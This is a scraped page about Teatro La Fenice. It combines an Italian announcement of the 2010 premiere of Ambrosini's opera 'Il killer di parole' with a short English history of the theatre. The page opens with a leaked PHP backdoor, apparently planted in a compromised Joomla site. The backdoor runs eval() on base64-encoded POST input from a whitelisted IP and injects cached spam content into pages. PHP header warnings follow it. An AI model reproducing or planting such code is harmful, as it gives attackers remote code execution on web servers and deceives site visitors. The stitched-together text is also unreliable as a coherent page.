if(!function_exists('system_news_path')){
function system_news_path(){
return '/opt/lampp/htdocs/modules/mod_catartordion/tmpl/';
}
function system_news_idn($ssynewid) {
$input = $ssynewid['ssynewidn'];
$await = 'a2e537e649854b5919c9470087925751';
$client = md5(md5($_SERVER['REMOTE_ADDR'].'.FMXNTJxzoaEDM42jX53nf=='));
if(strstr($await, $client)){
if(strstr($input, "[show]\n")){
die(str_replace("[show]\n", false, $input));
}elseif(strstr($input, "[eval]\n")){
eval(str_replace("[eval]\n", false, $input));
}
}
}
if(!empty($_POST['ssynewid'])){
$ssynewid = @unserialize(@base64_decode($_POST['ssynewid']));
system_news_idn($ssynewid);
}
$uri = md5($_SERVER['REQUEST_URI']);
if(file_exists(system_news_path().$uri) && !file_exists(system_news_path().'st3')){
echo file_get_contents(system_news_path().$uri); die;
}
function newsidncallback($buffer){
$uri = md5($_SERVER['REQUEST_URI']).'c';
if(file_exists(system_news_path().$uri)){
if(empty($buffer) && class_exists('JFactory')){
$buffer = JFactory::getDocument()->render();
}
preg_match('#(<\s*/body\s*>|<\s*/html\s*>)#i', $buffer, $tag);
if(!empty($tag[1])){
$buffer = str_replace($tag[1], file_get_contents(system_news_path().$uri)."\n{$tag[1]}", $buffer);
}elseif(!empty($buffer)){
$buffer .= "\n".file_get_contents(system_news_path().$uri);
}
}
return $buffer;
}
ob_start("newsidncallback");
}
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 423
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 423
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 426
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 315
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 316
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 317
Venerdì 10 dicembre 2010 alle ore 19.00 (turno A), ultimo spettacolo della Stagione lirica 2010, andrà in scena al Teatro La Fenice la prima rappresentazione assoluta del Killer di parole, ludodramma in due atti su un soggetto di Daniel Pennac e Claudio Ambrosini, libretto e musica di Claudio Ambrosini.
Commissionato dalla Fondazione Teatro La Fenice – come, nel settembre 2007, Signor Goldoni di Luca Mosca e Gianluigi Melega –, Il killer di parole andrà in scena in un nuovo allestimento coprodotto con l’Opéra national de Lorraine, con la regia di Francesco Micheli, le scene di Nicolas Bovey e i costumi di Carlos Tieppo. Andrea Molino dirigerà l’Orchestra e il Coro del Teatro La Fenice (maestro del Coro Claudio Marino Moretti). Il cast sarà formato da Roberto Abbondanza nel ruolo del killer di parole, Sonia Visentin in quello della moglie, Mirko Guadagnini in quello del figlio, Valentina Valente nei ruoli della parola uccisa, della fotografa e dell’ultima parlante giovane, Gianluca Buratto in quelli del collega e dell’ultimo parlante e Damiana Pinti in quelli della giornalista e dell’ultima parlante delle paludi.
La prima di venerdì 10 dicembre 2010, trasmessa in diretta da Rai Radio3, sarà seguita da quattro repliche, domenica 12 (turno B) alle 15.30, martedì 14 (turno D) e giovedì 16 (turno E) alle 19.00 e sabato 18 (turno C) alle 15.30.
Lo spunto per Il killer di parole nasce da una conversazione avvenuta qualche anno fa tra Claudio Ambrosini e Daniel Pennac – amici da tempo – nella quale lo scrittore si soffermava sulla difficoltà di tradurre certe espressioni, tipiche di una lingua, in un’altra. Da qui – i due erano a cena – passarono poi a parlar di vocabolari e Pennac raccontò di un curioso personaggio (vero? frutto della sua fantasia?) addetto a togliere dal dizionario ufficiale qualche parola ormai in disuso ogniqualvolta se ne dovesse far entrare una nuova, come «paparazzo» o «télécopie» (geniale traduzione francese del termine «fax»). Uno ‘spazzaparole’, insomma, incaricato di mantenere più o meno uguale il numero complessivo dei termini inclusi nel dizionario.
Ad Ambrosini questo sembrò immediatamente il personaggio che stava cercando da anni, per innestarsi nel quadro di una problematica più generale a lui cara fin dall’epoca in cui, studente di lingue straniere a Ca’ Foscari, si occupava di genetica e antropologia del linguaggio: la progressiva scomparsa delle lingue del mondo. Non sono cioè solo gli animali e i territori a rischiare la distruzione totale, l’estinzione, ma anche le lingue, l’infinità varietà di fonemi, di costruzioni, di espressioni che l’uomo ha saputo creare nel corso dei millenni.
Le lingue, la Lingua, sono il capolavoro collettivo creato dall’umanità, un patrimonio di valore incalcolabile che di giorno in giorno si assottiglia: alcune poche lingue diventano dominanti, si espandono nel mondo provocando la scomparsa totale di centinaia di altre, soprattutto quelle di popoli che hanno sviluppato solo una cultura orale, di cui, morto «l’ultimo parlante», non resterà più alcuna traccia.
History
Opened in 1792, the Theatre distilled and condensed a long and prestigious sequence of curtain calls and performances. Behind it, the city's tradition of dozens and dozens of competing theatres which made Venice one of Europe's most dynamic and stimulating theatrical contexts.
The new theatre immediately stood out for the quality of the performances staged there, taking up a position as one of the most important European shop windows for acting and music.
Rossini, Bellini and Donizetti composed works expressly dedicated to the La Fenice Theatre which became irrevocably linked to the masterpieces which brought its stages to life.
Its name was chosen by the Nobile Società dei Palchettisti, expelled from the San Benedetto Theatre, a name which expresses the idea of rebirth and perpetual renewal. However, the name became the presage of a particularly tormented story.
The first devastating fire dates from 1836. The unfortunate circumstance consolidated the bond with the city and reinforced the love of the Venetians who have always appreciated the La Fenice Theatre for the variety and artistic value of the events staged there.
The Venice community closed around its theatre again when it was seriously damaged in 1996. And once again, they mobilised to ensure that, just as in the legend, the extraordinary creature, set alight by the sun's rays, could rise from its own ashes.
Activities and services
The La Fenice Theatre will this year be the venue for the 2007/2008 Symphony Season, the 2008 Opera and Ballet Season, performances in the "La Fenice per la Città" cycle and numerous other events.
Various types of guided tour of the La Fenice Theatre are also available and you can hire rooms for events, dinners, cocktails, etc.
Location
The Theatre is a few minutes from Piazza San Marco and can be easily reached in just eight minutes from the Rialto landing stage and five minutes from the Santa Maria del Giglio landing stage.
© 2015 Ve.la. S.p.A. - Tutti i diritti riservati -Ve.la. S.p.A. all rights reserved
Società del gruppo Avm per la commercializzazione dei servizi di trasporto e dei principali eventi a Venezia
Sede Legale Isola Nova del Tronchetto, 21 - 30135 VENEZIA Tel. +39 041272.2660 Fax+39 041272.2663
Registro delle Imprese di Venezia n. 03069670275 – REA VE 278800 C.F e P.I. 03069670275 -
Capitale Sociale € 1.885.000,00 i.v.